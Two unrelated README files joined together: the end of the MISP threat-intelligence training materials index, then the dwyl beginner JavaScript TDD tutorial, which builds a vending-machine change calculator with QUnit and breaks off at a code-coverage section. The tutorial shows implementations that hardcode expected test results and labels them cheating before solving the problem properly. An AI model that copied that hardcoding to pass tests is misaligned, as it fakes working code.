| [3.2-misp-galaxy](https://www.misp-project.org/misp-training/3.2-misp-galaxy.pdf) | [source](https://github.com/MISP/misp-training/tree/main/3.2-misp-galaxy) |
| [3.3-misp-object-template](https://www.misp-project.org/misp-training/3.3-misp-object-template.pdf) | [source](https://github.com/MISP/misp-training/tree/main/3.3-misp-object-template) |
| [6.0-misp-dashboard](https://www.misp-project.org/misp-training/6.0-misp-dashboard.pdf) | [source](https://github.com/MISP/misp-training/tree/main/6.0-misp-dashboard) |
| [a.0-contributing](https://www.misp-project.org/misp-training/a.0-contributing.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.0-contributing) |
| [a.1-devintro](https://www.misp-project.org/misp-training/a.1-devintro.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.1-devintro) |
| [a.2-pymisp](https://www.misp-project.org/misp-training/a.2-pymisp.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.2-pymisp) |
| [a.3-misp-feed](https://www.misp-project.org/misp-training/a.3-misp-feed.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.3-misp-feed) |
| [a.4-best-practices](https://www.misp-project.org/misp-training/a.4-best-practices.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.4-best-practices) |
| [a.5-decaying-indicators](https://www.misp-project.org/misp-training/a.5-decaying-indicators.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.5-decaying-indicators) |
| [a.5-bis-decaying-indicators-light-version](https://www.misp-project.org/misp-training/a.5-bis-decaying-indicators-light-version.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.5-bis-decaying-indicators-light-version) |
| [a.6-forensic](https://www.misp-project.org/misp-training/a.6-forensic.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.6-forensic) |
| [a.7-rest-API](https://www.misp-project.org/misp-training/a.7-rest-API.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.7-rest-API) |
| [b.1-best-practices-in-threat-intelligence](https://www.misp-project.org/misp-training/b.1-best-practices-in-threat-intelligence.pdf) | [source](https://github.com/MISP/misp-training/tree/main/b.1-best-practices-in-threat-intelligence) |
| [b.5-turning-data-into-actionable-intelligence-training](https://www.misp-project.org/misp-training/b.5-turning-data-into-actionable-intelligence-training.pdf) | [source](https://github.com/MISP/misp-training/tree/main/b.5-turning-data-into-actionable-intelligence-training) |
| [a.8-dev-hands-on](https://www.misp-project.org/misp-training/a.8-dev-hands-on.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.8-dev-hands-on) |
| [a.9-restsearch-dev](https://www.misp-project.org/misp-training/a.9-restsearch-dev.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.9-restsearch-dev) |
| [a.10-galaxy-2.0](https://www.misp-project.org/misp-training/a.10-galaxy-2.0.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.10-galaxy-2.0) |
| [a.11-misp-data-model](https://www.misp-project.org/misp-training/a.11-misp-data-model.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.11-misp-data-model) |
| [a.12-misp-workflows](https://www.misp-project.org/misp-training/a.12-misp-workflows.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.12-misp-workflows) |
| [a.13-misp-stix](https://www.misp-project.org/misp-training/a.13-misp-stix.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.13-misp-stix) |
| [a.a-widget-dev](https://www.misp-project.org/misp-training/a.a-widget-dev.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.a-widget-dev) |
| [b.2-turning-data-into-actionable-intelligence](https://www.misp-project.org/misp-training/b.2-turning-data-into-actionable-intelligence.pdf) | [source](https://github.com/MISP/misp-training/tree/main/b.2-turning-data-into-actionable-intelligence) |
| [4-misp-standard](https://www.misp-project.org/misp-training/4-misp-standard.pdf) | [source](https://github.com/MISP/misp-training/tree/main/4-misp-standard) |
| [x.13-exercise-movie](https://www.misp-project.org/misp-training/x.13-exercise-movie.pdf) | [source](https://github.com/MISP/misp-training/tree/main/x.13-exercise-movie) |
| [a.b-cli](https://www.misp-project.org/misp-training/a.b-cli.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.b-cli) |
| [a.c-deployment](https://www.misp-project.org/misp-training/a.c-deployment.pdf) | [source](https://github.com/MISP/misp-training/tree/main/a.c-deployment) |
### Complementary materials
| Slides (PDF) | Source Code |
| ------------ | ----------- |
| [complete slide desk in one PDF](https://www.misp-project.org/misp-training/misp-training.pdf) | [source](https://github.com/MISP/misp-training/) |
| [MISP training cheat-sheet](https://www.misp-project.org/misp-training/cheatsheet.pdf) | [source](https://github.com/MISP/misp-training/tree/master/training-support/compact-cheatsheet) |
| [MISP feature list (for the trainers)](https://www.misp-project.org/misp-training/usage.pdf) | [source](https://github.com/MISP/misp-training/tree/master/training-support/checklist) |
### Additional documentation
- [MISP Book](https://github.com/MISP/misp-book/) - [PDF](https://www.circl.lu/doc/misp/book.pdf) [ePub](https://www.circl.lu/doc/misp/book.epub) [Kindle mobi](https://www.circl.lu/doc/misp/book.mobi) [HTML](https://www.circl.lu/doc/misp/)
- [Best Practices in Threat Intelligence](https://github.com/MISP/best-practices-in-threat-intelligence) [PDF](https://www.misp-project.org/best-practices-in-threat-intelligence.pdf) [HTML](https://www.misp-project.org/best-practices-in-threat-intelligence.html)
- [MISP Galaxy (HTML)](https://www.misp-project.org/galaxy.html) - [PDF](https://www.misp-project.org/galaxy.pdf)
- [MISP Taxonomies (HTML)](https://www.misp-project.org/taxonomies.html) - [PDF](https://www.misp-project.org/taxonomies.pdf)
- [MISP Objects template (HTML)](https://www.misp-project.org/objects.html) - [PDF](https://www.misp-project.org/objects.pdf)
- [Guidelines to setting up an information sharing community such as an ISAC or ISAO](https://github.com/MISP/misp-compliance/blob/master/setting-up-ISACs/guidelines_to_set-up_an_ISAC.md) - [PDF](https://www.x-isac.org/assets/images/guidelines_to_set-up_an_ISAC.pdf)
- [Official MISP Install Guides](https://misp.github.io/MISP/)
### MISP Training videos
Sample videos which can be used to understand how the training materials are used in companion with a live MISP demo instance.
- [MISP Workflow](https://www.youtube.com/watch?v=OyLE2g4zii0) - 16th December 2022
- [MISP Best Practices for encoding threat intelligence (3 hours - online)](https://www.youtube.com/watch?v=JIeiwzY7Fvs) - 15th December 2022
- [MISP Training Administration and Deployment of MISP software](https://youtu.be/sIHTRIwF-Mk) - 14th September 2022
- [MISP Training Threat Intelligence Introduction for Analysts and Security Professional](https://youtu.be/sb36MMRTtLM) - 13th September 2022
- [Fundamentals MISP given FIRSTdotOrg 2021 Virtual Symposium African and Arab regions](https://www.youtube.com/watch?v=00jq7Gbqdz8) - 18th December 2021
- [MISP General Usage Training - Part 1 of 2](https://www.youtube.com/watch?v=-NuODyh1YJE)
- [MISP General Usage Training - Part 2 of 2](https://www.youtube.com/watch?v=LlKnh5b0bgw)
- [MISP Training Usage - Training given the 2nd March 2021 - 2h50 min](https://cra.circl.lu/videos/MISP-Usage-Training-20210302.mp4)
- [MISP Training Administration and Building Communities- Training given the 3rd March 2021 - 2h56min](https://cra.circl.lu/videos/MISP-Administration-and-Building-Communities-20210303.mp4)
- [MISP Training Module 1 - An Introduction to Cybersecurity Information Sharing](https://www.youtube.com/watch?v=aM7czPsQyaI)
- [MISP Training Module 2 - General usage of MISP](https://www.youtube.com/watch?v=Jqp8CVHtNVk)
- [MISP covid-19 sharing community - introduction](https://peertube.opencloud.lu/videos/watch/4f7acd4c-a909-4315-87aa-38ba95cceaf2)
#### Passive DNS and MISP - Training videos
- [Farsight Passive DNS and MISP - Part I](https://vimeo.com/561877178/ac09629591)
- [Farsight Passive DNS and MISP - Part II](https://vimeo.com/561903295/8af1d6692b)
- [Farsight Passive DNS and MISP - Part III](https://vimeo.com/561908216/764a2e19e4)
### MISP Training support videos
Those are videos to support MISP trainings or demonstrations at large:
- [MISP Event graph demo](https://www.youtube.com/watch?v=NYvKLwoBYwc&t=8s)
- [MISP Tutorial - Enablings Feeds](https://www.youtube.com/watch?v=k3l-CtOgQro)
### MISP Training VMs
Pre-built MISP training VMs are available at [https://vm.misp-project.org/](https://vm.misp-project.org/).
## Source Code
The full source code of the training slide decks are available. You'll need to have an operating system with a recent installation of LaTeX including latex-beamer to work with them.
To build the complete set of training materials:
~~~~bash
bash build.sh
~~~~
The output directory will contain all the generated PDF files and the PDF file called `misp-training.pdf` which is the complete handout of all the slides.
**Note**: In case the rendering is somewhat broken, it might be related to latex using the styles installed systemwide in `/usr/share/texlive/texmf-dist/tex/latex/beamertheme-focus`. Removing this directory will solve the problem.
## Dependencies
[FiraMath Font](https://github.com/firamath/firamath/releases)
XeLaTex, can be parametered in .tex header (works in TeXshop):
```
% !TEX TS-program = xelatex
% !TEX encoding = UTF-8 Unicode
```
## License, Attribution and Funding
All the materials are dual-licensed under GNU Affero General Public License version 3 or later and
the Creative Commons Attribution-ShareAlike 4.0 International. You can use either one of the licenses depending
of your use case of the training materials.
The MISP project training materials are co-financed and supported by CIRCL Computer Incident Response Center Luxembourg[](https://www.circl.lu/) and co-financed by a CEF (Connecting Europe Facility) funding under CEF-TC-2016-3 - Cyber Security as *Improving MISP as building blocks for next-generation information sharing*.
All the source code is available at [https://www.github.com/MISP/misp-training](https://www.github.com/MISP/misp-training).
If you reuse the training materials, don't forget to include the above for attribution.
## Contributors in alphabetical order
- Steve Clement [:house:](https://github.com/SteveClement)
- Alexandre Dulaunoy [:house:](https://github.com/adulau)
- Andras Iklody [:house:](https://github.com/iglocska)
- Sami Mokaddem [:house:](https://github.com/mokaddem)
- Sascha Rommelfangen [:house:](https://github.com/rommelfs)
- Christian Studer [:house:](https://github.com/chrisr3d)
- Raphaël Vinot [:house:](https://github.com/rafiot)
- Gerard Wagener [:house:](https://github.com/haegardev)
|
<div align="center">
# Learn **T**est **D**riven **D**evelopment (**TDD**)
A brief introduction to **T**est **D**riven **D**evelopment (**TDD**)
in JavaScript for people who want to write _**more reliable code**_.
[](https://github.com/dwyl/learn-tdd/actions/workflows/ci.yml)
[](https://codecov.io/github/dwyl/learn-tdd?branch=master)
[](https://github.com/dwyl/learn-tdd/blob/main/package.json#L35 "Zero Dependencies")
[](https://github.com/dwyl/learn-tdd/issues)
[](https://hits.dwyl.com/dwyl/learn-tdd)
</div>
## Why?
_Project(s) without tests_ often end up looking like they are stuck together with _**duct tape**_ ...
Change _one_ part and _another_ stops working? "_Fixing_" one bug, creates another?
Wouldn't you *prefer* it if everything was
***consistent*** and beautifully integrated? <br />
What if _everyone_ on your team worked _like **clock-work**_ in a disciplined order... like a _**Formula 1 Crew**_ ...
Test Driven Development (TDD) makes your team a well-oiled machine which means you can go _**faster**_.
Once you have a ***suite*** of tests that run on every change, you will
begin to develop a whole other level of ***confidence*** in your codebase
and will discover a new freedom to be ***creative*** without fear of
"*breaking*" anything unexpectedly; truly *game-changing*.
## What?
This tutorial will help you get started with
**T**est **D**riven **D**evelopment (**TDD**) *today*! <br />
In the next ***30 minutes*** you will learn _everything_<sup>1</sup>
you need to write tests for your web project!
### Pre-Requisites
+ **A computer** with a web browser
+ **Internet access** to download the starter files
+ **30 minutes** of your time
+ **_Basic_ Programming Skills** (HTML & JavaScript)
+ (_**Optional**_) _**Bonus Levels requires**_ you to
[_install_ **Node.js**](https://nodejs.org/download/)
### What is Software Testing?
> Software testing is the process of evaluating a software item to detect differences between the expected output and the actual output. Testing assesses the quality of the product. Software testing is a process that should be done during the development process. In other words software testing is a verification and validation process.
### What is TDD?
> Test-driven development (TDD) is an evolutionary approach to development
which combines test-first development, where you write a test before you write
just enough production code to fulfil that test, and refactoring. In other words,
it’s one way to think through your requirements
or design before you write your functional code.
*From [Introduction to Test Driven Development (TDD)](https://agiledata.org/essays/tdd.html)*
#### Further resources
- Software Testing - https://en.wikipedia.org/wiki/Software_testing
- "What is Software Testing" video (from 5:56 onwards) - https://youtu.be/UZy1Dj9JIg4?t=356
- Video intro to Software Development Lifecycle (from 0:52 onwards): https://youtu.be/qMkV_TDdDeA?t=52
- How to Write Clean, Testable Code - https://youtu.be/XcT4yYu_TTs (ignore the Java code focus on the general principles)
+ [What is software testing?](https://www.codeproject.com/Tips/351122/What-is-software-testing-What-are-the-different-ty) by _Rehman Zafar_
<!-- - Practical Full-Stack JavaScript Web Application Test Driven Development - https://github.com/nelsonic/practical-js-tdd -->
## How?
The *first* thing you need to *understand*
is that writing code following TDD (*discipline*)
is a (*slightly*) different approach from simply
diving into solving the problem (*without a test*).
When reading about TDD you will usually see the expression:
"***Red, Green, Refactor***":
What this means is that TDD follows a **3-step process**:
1. ***Write a Failing Test*** - Understand the (user)
requirements/story well enough to write a test for what you expect.
(_the test should **fail** initially - hence it being "Red"_)
2. ***Make the (failing) Test Pass*** - Write (*only*) the code you need
to make the (*failing*) test pass, while ensuring your existing/previous tests
all still pass (*no regressions*).
3. ***Refactor the code you wrote*** take the time to tidy up the code
*you* wrote to make it simpler
(*for your future self or colleagues to understand*)
before you need to ship the current feature, do it.
> Thankfully, because you will have good tests,
you don't _need_ to do any refactoring up-front,
you can always do refactoring _later_
if performance bottlenecks are discovered.
Most programming languages have very efficient compilers/interpreters
that remove much of the need for refactoring.
And if you use a linter your code will be naturally "tidy".
To develop the *habit(s)* you will need to be successful with TDD
(*and software engineering in general*)
we need to ***write*** a ***test first*** (*and watch it fail*)
and *then* write the code required to make the test pass.
Writing a _**failing test**_,
before writing the code may seem *counter-intuitive*,
*time consuming* or even "*tedious*" at _**first**_.
But we _urge_ you to think of it this way:
> The ***test*** is the ***question*** you are asking <br />
> your code is the ***answer*** to the question. <br />
> By having a _clear_ question, you can always check
> that your code is working, <br />
> because it _**consistently**_
> gives you the same answer(s) ... _no surprises_,
even when you're working with a large, inter-dependent code base!
## Practical
> _**Note**: This tutorial is meant to be a beginner-friendly introduction to TDD.
The Vending Machine example is _intentionally_ simple
so you can focus on the principles of testing.
Once you understand the basics,
we encourage you to follow our _complete_ Todo List Tutorial
([https://github.com/dwyl/**todo-list-javascript-tutorial**](https://github.com/dwyl/todo-list-javascript-tutorial)),
which is a step-by-step guide to building an App
following testing and documentation-first best practices._
### Scenario: Vending Machine _Change Calculator_ Micro-Project
Imagine you are building a **Vending Machine**
that allows people to buy any item it contains.
The machine accepts coins and calculates the change
to be returned to the customer, given the item **price**
and the **cash** received.
### Single *File* App
We can build the _entire_ "project" in a _**single file**_: `index.html`
> _**Note**: In practice you want to split your JavaScript,
CSS and HTML (Templates) into **separate** files,
but for this example we are keeping everything in `index.html` for simplicity.
If you make it to the "Bonus Levels" you will split things out!_
Create a directory on your computer called **vending-machine**:
In your **terminal** type this command:
```sh
mkdir vending-machine && cd vending-machine
```
(_This will create the directory and move you into it_)
Next create a file called **index.html** e.g: `atom index.html`
(which creates and opens the file in the [Atom text editor](https://atom.io/)
if you have it installed)
(_**Note**: The "atom" command is not installed by default.
In the Atom menu bar there is a command named “Install Shell Commands”
which installs a new command in your Terminal called "atom"._)
Now copy-paste the following *sample code* into the newly created `index.html` file to get started:
```html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Vending Machine Change Calculator TDD Tutorial</title>
<!-- Load the QUnit CSS file from CDN - Require to display our tests attractively -->
<link rel="stylesheet" href="https://code.jquery.com/qunit/qunit-1.18.0.css">
<!-- Pure CSS is a minimalist CSS file we have included to make things look nicer -->
<link rel="stylesheet" href="http://yui.yahooapis.com/pure/0.6.0/pure-min.css">
</head>
<body style='margin: 0 1em;'>
<div id='main'>
<h1>Vending Machine <em>Change Calculator</em></h1>
<h2>Calculate the change (<em>coins</em>) to return to a customer when they buy something.</h2>
</div>
<div id="qunit"></div>
<div id="qunit-fixture"></div>
<!-- Load the QUnit Testing Framework from CDN - this is the important bit ... -->
<script src="https://code.jquery.com/qunit/qunit-1.18.0.js"></script>
<script>
// This is what a simple unit test looks like:
test('This sample test should always pass!', function(assert) {
var result = 1 + 1;
assert.equal(result, 2); // just so we know everything loaded ok
});
// A failing test will be RED:
test('This is what a failing test looks like!', function(assert) {
var result = [1,2,3].indexOf(1); // this should be 0
assert.equal(result, -1); // we *expect* this to fail
});
</script>
</body>
</html>
```
#### Open index.html in your Browser
When you ***open*** `index.html` in your ***web browser***
you should expect to see something like this: (_without the annotation pointing out the qunit div, and the green and red annotations pointing out the Passing and Failing tests_)
##### Explanation
There is quite a lot of code in the **index.html** you just created,
let's step through it to understand the parts:
The first part of **index.html** is a standard HTML head and body:
```html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Vending Machine Change Calculator TDD</title>
<!-- Load the QUnit CSS file from CDN - Require to display our tests attractively -->
<link rel="stylesheet" href="https://code.jquery.com/qunit/qunit-1.18.0.css">
<!-- Pure CSS is a minimalist CSS file we have included to make things look nicer -->
<link rel="stylesheet" href="http://yui.yahooapis.com/pure/0.6.0/pure-min.css">
</head>
<body>
<div id='main'>
<h1>Vending Machine Change Calculator</h1>
<h2>Calculate the Change for a Given Price and Cash Received</h2>
</div>
```
Nothing special here, we are simply setting up the page
and loading the CSS files.
Next we see the **qunit divs**
(_where the **test results** will be **displayed**_)
and load the JQuery and QUnit Libraries from CDN:
```html
<div id="qunit"></div>
<div id="qunit-fixture"></div>
<!-- Load the QUnit Library from CDN - this is the important bit ... -->
<script src="https://code.jquery.com/qunit/qunit-1.18.0.js"></script>
```
Finally we see our test(s) - the interesting part of the file:
```html
<script>
// This is what a simple unit test looks like:
test('This sample test should always pass!', function(assert) {
var result = 1 + 1;
assert.equal(result, 2);
});
// A failing test will be RED:
test('This is what a failing test looks like!', function(assert) {
var result = [1,2,3].indexOf(1); // this should be 0
assert.equal(result, -1); // we *expect* this to fail
});
</script>
</body>
</html>
```
If you are new to writing ***automated tests***, don't worry -
they are really simple. There are **3 parts**:
1. **Description** - usually the *first* parameter to QUnit's test() method, describing what is expected to happen in the test
2. **Computation** - executes a function/method
(*which invokes the method you will write to make your test pass*)
3. **Assertion** - verifies that the result of your computation
is what you ***expect*** it to be.
In the above screenshot, the assertion is `assert.equal(result, 2)` <br />
We are giving the `equal` method two arguments; the `result` of our computation
and our expected value - in this case **2**. _That's it_.
_**Note**_:
The latest version of QUnit uses the `QUnit.test()` function to run tests.
Later in this workshop we use [blanket.js](https://blanketjs.org/)
which is not compatible with the latest
version of QUnit. It is for this reason
that we are calling `test()` to run the tests in this workshop.
##### Further Reading:
+ Test assertion: https://en.wikipedia.org/wiki/Test_assertion
+ What are Test Assertions and how do they work?:
https://www.thoughtworks.com/insights/blog/test-assertions-how-do-they-work
## Requirements
As a customer, I want to buy a selected item from the **vending machine**
and see what my change is as a **result** into the various **coins**
so that I can select one of the options and receive my change.
Acceptance criteria:
- A successful call of a function `getChange` should return
the change value in the various **coins** available
- Unit Tests should exist when the function is ready
- The selection of the desired return is out of scope
##### Complementary User Story view
> Given a **Price** and an amount of **Cash** from the Customer
> Return: **Change** to the customer (*in notes and coins*).
### Understand what is needed
+ Create a `function` called `getChange` that accepts _**two parameters**_:
`totalPayable` and `cashPaid`
+ For a given `totalPayable`
(the total amount an item in the vending machine costs)
and `cashPaid` (the amount of cash the customer paid into the vending machine),
`getChange` should _**calculate**_ the _**change**_
the machine should _return_ to the customer
+ `getChange` should _**return**_ change as an `array` of coins (largest to smallest)
that the vending machine will need to _dispense_ to the customer.
#### _Example_
If a customer buys an item costing £2.15
(_we represent this as **215 pennies**_ `totalPayable`)
and pays £3 (3 x £1 or _**300 pennies**_ `cashPaid`)
into the vending machine, the _**change**_ will be **85p**. <br />
To dispense the 85p of change we should _return_
**four coins** to the person: 50p, 20p, 10p and 5p. <br />
An **array** of these coins would look like: `[50, 20, 10, 5]`
#### Coins
In the UK we have the following Coins:
If we use the penny as the unit (i.e. 100 pennies in a pound)
the coins can be represented as:
- 200 (£2)
- 100 (£1)
- 50 (50p)
- 20 (20p)
- 10 (10p)
- 5 (5p)
- 2 (2p)
- 1 (1p)
this can be stored as an Array:
```javascript
var coins = [200, 100, 50, 20, 10, 5, 2, 1];
```
_**Note**_: The same can be done for any other cash system ($ ¥ €)
simply use the cent, sen or rin as the unit and scale up notes.
#### The First Test
If you are *totally* new to TDD I recommend reading this
[introductory article](https://www.agiledata.org/essays/tdd.html) by Scott Ambler
(especially the diagrams) otherwise this (test-fail-code-pass) process
may seem *strange* ...
In **T**est **F**irst **D**evelopment (TFD) we write a test *first* and *then*
write the code that makes the test pass.
#### First Requirement
So, back in our **index.html** file ***remove the dummy tests***
and add the following lines:
```js
test('getChange(1,1) should equal [] - an empty array', function(assert) {
var result = getChange(1, 1); //no change/coins just an empty array
var expected = [];
assert.deepEqual(result, expected);
}); // use deepEqual for arrays see: https://api.qunitjs.com/deepEqual/
```
We use QUnit's `deepEqual` (_assert_) method to check that all the _elements_
in the two arrays are _**identical**_. see: https://api.qunitjs.com/deepEqual/
At this point, your `index.html` file should look like this:
```html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Vending Machine Change Calculator TDD</title>
<link rel="stylesheet" href="https://code.jquery.com/qunit/qunit-1.18.0.css">
<link rel="stylesheet" href="http://yui.yahooapis.com/pure/0.6.0/pure-min.css">
</head>
<body>
<div id='main' style='padding: 2em;'>
<h1>Vending Machine Change Calculator</h1>
<h2>Calculate the Change for a Given Price and Cash Received</h2>
</div>
<div id="qunit"></div>
<div id="qunit-fixture"></div>
<script src="https://code.jquery.com/qunit/qunit-1.18.0.js"></script>
<script>
// your solution will go here!
</script>
<script>
test('getChange(1,1) should equal [] - an empty array', function(assert) {
var result = getChange(1, 1); //no change/coins just an empty array
var expected = [];
assert.deepEqual(result, expected);
}); // use deepEqual for arrays see: https://api.qunitjs.com/deepEqual/
</script>
</body>
</html>
```
#### Watch it _Fail_
Back in your browser window, _refresh_ the browser and watch it *fail*:
> **Q**: Why *deliberately* write a test we *know* is going to *fail*...? <br />
> **A**: To get used to the idea of *only* writing the code required to *pass*
> the *current* (*failing*) *test*. <br />
> *Read*: "***The Importance of Test Failure***:
https://www.sustainabletdd.com/2012/03/importance-of-test-failure.html<br />
**Note**: This also proves the test **will** fail if the code doesn't behave as expected.
#### Create the getChange `function`
In your `index.html` file add the following code (*above the tests*)
```js
<script>
function getChange (totalPayable, cashPaid) {
var change = [];
// your code goes here
return change;
};
</script>
```
Your `index.html` should now look something like this:
```html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Vending Machine Change Calculator TDD</title>
<link rel="stylesheet" href="https://code.jquery.com/qunit/qunit-1.18.0.css">
<link rel="stylesheet" href="http://yui.yahooapis.com/pure/0.6.0/pure-min.css">
</head>
<body>
<div id='main' style='padding: 2em;'>
<h1>Vending Machine Change Calculator</h1>
<h2>Calculate the Change for a Given Price and Cash Received</h2>
<!-- <input type='text' id='price'> </input> -->
</div>
<div id="qunit"></div>
<div id="qunit-fixture"></div>
<script src="https://code.jquery.com/qunit/qunit-1.18.0.js"></script>
<script>
var getChange = function (totalPayable, cashPaid) {
'use strict';
var change = [];
return change
};
</script>
<script>
test('getChange(1,1) should equal [] - an empty array', function(assert) {
var result = getChange(1, 1); //no change/coins just an empty array
var expected = [];
assert.deepEqual(result, expected);
}); // use deepEqual for arrays see: https://api.qunitjs.com/deepEqual/
</script>
</body>
</html>
```
#### Refresh `index.html` in the Browser
It Passed!!
#### Now Let's Write A *Real* Test
Going back to the requirements, we need our `getChange` method to accept
two arguments/parameters (`totalPayable` and `cashPaid`), and to `return` an
`array` containing the coins equal to the difference between them:
e.g:
```js
totalPayable = 215 // £2.15
cashPaid = 300 // £3.00
difference = 85 // 85p
change = [50,20,10,5] // 50p, 20p, 10p, 5p
```
Add the following test to tests section of `index.html`:
```javascript
test('getChange(215, 300) should return [50, 20, 10, 5]', function(assert) {
var result = getChange(215, 300); // expect an array containing [50,20,10,5]
var expected = [50, 20, 10, 5];
assert.deepEqual(result, expected);
})
```
#### Write the Method to Pass the Test
What if I _**cheat**_ and make `getChange` return the expected result?
```javascript
function getChange (totalPayable, cashPaid) {
'use strict';
var change = [50, 20, 10, 5]; // just "enough to pass the failing test"
return change;
};
```
This will _pass_ the new test, but it also introduces a regression. The original
test `getChange(1,1) should equal [] - an empty array` is now failing.
Step 2 of the **TDD** process requires that *all* tests should pass, not just the
newly added one.
The `getChange` function needs to cater for two scenarios; when change should be returned and when it shouldn't. A new implementation of `getChange` that
handles both scenarios could be:
```javascript
function getChange (totalPayable, cashPaid) {
'use strict';
var change = [];
if((cashPaid - totalPayable) != 0) { // Is any change required?
change = [50, 20, 10, 5]; // just "enough to pass the failing test"
}
return change;
};
```
The regression has been fixed and all tests _pass_, but you have *hard coded*
the result (*not exactly useful for a calculator...*)
This only works *once*. When the Spec (Test) Writer writes the next test,
the method will need to be re-written to satisfy it.
Let's try it. Work out what you expect so you can write your test:
```js
totalPayable = 486 // £4.86
cashPaid = 600 // £6.00
difference = 114 // £1.14
change = [100,10,2,2] // £1, 10p, 2p, 2p
```
Add the following test to `index.html` and refresh your browser:
```javascript
test('getChange(486, 600) should equal [100, 10, 2, 2]', function(assert) {
var result = getChange(486, 600);
var expected = [100, 10, 2, 2];
assert.deepEqual(result, expected);
})
```
#### Should We _Keep Cheating or Solve the Problem_?
We could _keep cheating_ by writing a series of if statements:
```javascript
function getChange (totalPayable, cashPaid) {
'use strict';
var change = [];
if((cashPaid - totalPayable) != 0) { // Is any change required?
if(totalPayable == 486 && cashPaid == 600)
change = [100, 10, 2, 2];
else if(totalPayable == 215 && cashPaid == 300)
change = [50, 20, 10, 5];
}
return change;
};
```
The _**Arthur Andersen Approach**_ gets results in the *short run* ...
But it's arguably *more work* than simply *solving* the problem.
So let's do that instead.
# Try It Yourself (_before looking at the solution_!)
> Try to create your own `getChange` method that passes the three tests
> _before_ you look at the solution...
To re-cap, these are our three tests:
```js
test('getChange(1,1) should equal [] - an empty array', function(assert) {
var result = getChange(1, 1); //no change/coins just an empty array
var expected = [];
assert.deepEqual(result, expected);
});
test('getChange(215, 300) should return [50, 20, 10, 5]', function(assert) {
var result = getChange(215, 300); // expect an array containing [50,20,10,5]
var expected = [50, 20, 10, 5];
assert.deepEqual(result, expected);
});
test('getChange(486, 600) should equal [100, 10, 2, 2]', function(assert) {
var result = getChange(486, 600);
var expected = [100, 10, 2, 2];
assert.deepEqual(result, expected);
});
```
#### One More Test to be _Sure_ it Works?
Let's invent a test that will return one of each of the coins ...
Recall that we have 8 types of coins:
```javascript
var coins = [200, 100, 50, 20, 10, 5, 2, 1];
```
The sum of the (_`array` containing one of each_) coins is: **388**p
So, we need to create a test in which we **pay £4** for an item costing 12p.
(A bit unrealistic, but if it works we know our `getChange` method is _ready_!)
```js
test('getChange(12, 400) should return [200, 100, 50, 20, 10, 5, 2, 1]', function(assert) {
var result = getChange(12, 400);
var expected = [200, 100, 50, 20, 10, 5, 2, 1];
assert.deepEqual(result, expected);
});
```
When these tests pass, your work is done.
<br />
<br />
## Solution(s) [](https://github.com/dwyl/learn-tdd/issues)
_**Note**_: Feel free to suggest a more _compact_ algorithm.
### "Imperative" Version ("Two For Loops")
```javascript
var coins = [200, 100, 50, 20, 10, 5, 2, 1]
function getChange (payable, paid) {
var change = [];
var length = coins.length;
var remaining = paid - payable; // we reduce this below
for (var i = 0; i < length; i++) { // loop through array of notes & coins:
var coin = coins[i];
var times_coin_fits = Math.floor(remaining / coin); // no partial coins
if(times_coin_fits >= 1) { // check coin fits into the remaining amount
for(var j = 0; j < times_coin_fits ; j++) { // add coin to change x times
change.push(coin);
remaining = remaining - coin; // subtract coin from remaining
}
}
}
return change;
};
```
### "Functional"
The "functional" solution is more _compact_ than the "nested for loops": <br />
```js
const COINS = [200, 100, 50, 20, 10, 5, 2, 1]; // "constant" of all coins
function getChange (payable, paid) {
return COINS.reduce((change, coin) => {
const change_sum = change.reduce((sum, coin) => sum + coin, 0);
const remaining = paid - payable - change_sum;
const times_coin_fits = Math.floor(remaining / coin);
return change.concat(Array(times_coin_fits).fill(coin));
}, []); // change array starts out empty and gets filled iteratively.
}
```
Don't panic if you are _unfamiliar_ with the JavaScript
`Array.Map` & `Array.Reduce` methods;
they were new to everyone _once_.
We recommend reading:
+ https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Map
+ https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce
+ https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/fill
+ Example Functional JavaScript: https://www.sitepoint.com/map-reduce-functional-javascript
+ [Mostly Adequate Guide To Functional Programming](https://github.com/MostlyAdequate/mostly-adequate-guide)
### Alternative Solution
An alternative shared by @blunket:
```javascript
var cointypes = [200, 100, 50, 20, 10, 5, 2, 1];
function getChange(price, paid) {
var difference = paid - price;
var change = [];
cointypes.forEach(function(coin) {
// keep adding the current coin until it's more than the difference
while (difference >= coin) {
change.push(coin);
difference = difference - coin;
}
});
return change;
}
```
If you see this:
_**Congratulations! You can do Test Driven Development**_ (TDD)!! <br />
Give yourself a pat on the back! **Tweet your _success_**! <br />
_or **Re-Tweet**_: https://twitter.com/livelifelively/status/768645514120212480
[](https://twitter.com/livelifelively/status/768645514120212480)
_Take a break, grab some water and come back for the #**BonusLevel**_
<br />
- - -
<br />
## Bonus Level 1: Code Coverage (10 mins)
### What is Code Coverage?
In computer programming, code coverage is a measure used to describe
the degree to which the source code of a program is tested
by a particular test suite.
In other words: if there is code in the codebase which is not "_covered_"
by a test, it could potentially be a source of bugs or undesirable behaviour.
> Read more: https://en.wikipedia.org/wiki/Code_coverage
### Example from our Vending Machine _Coin Change_ Example
Imagine the makers of the Vending Machine (_unknowingly_)
hired a _**rogue**_ programmer to build the change calculator.
The _**rogue**_ programmer charged below the "_market rate_",
delivered the code quickly and even included tests!
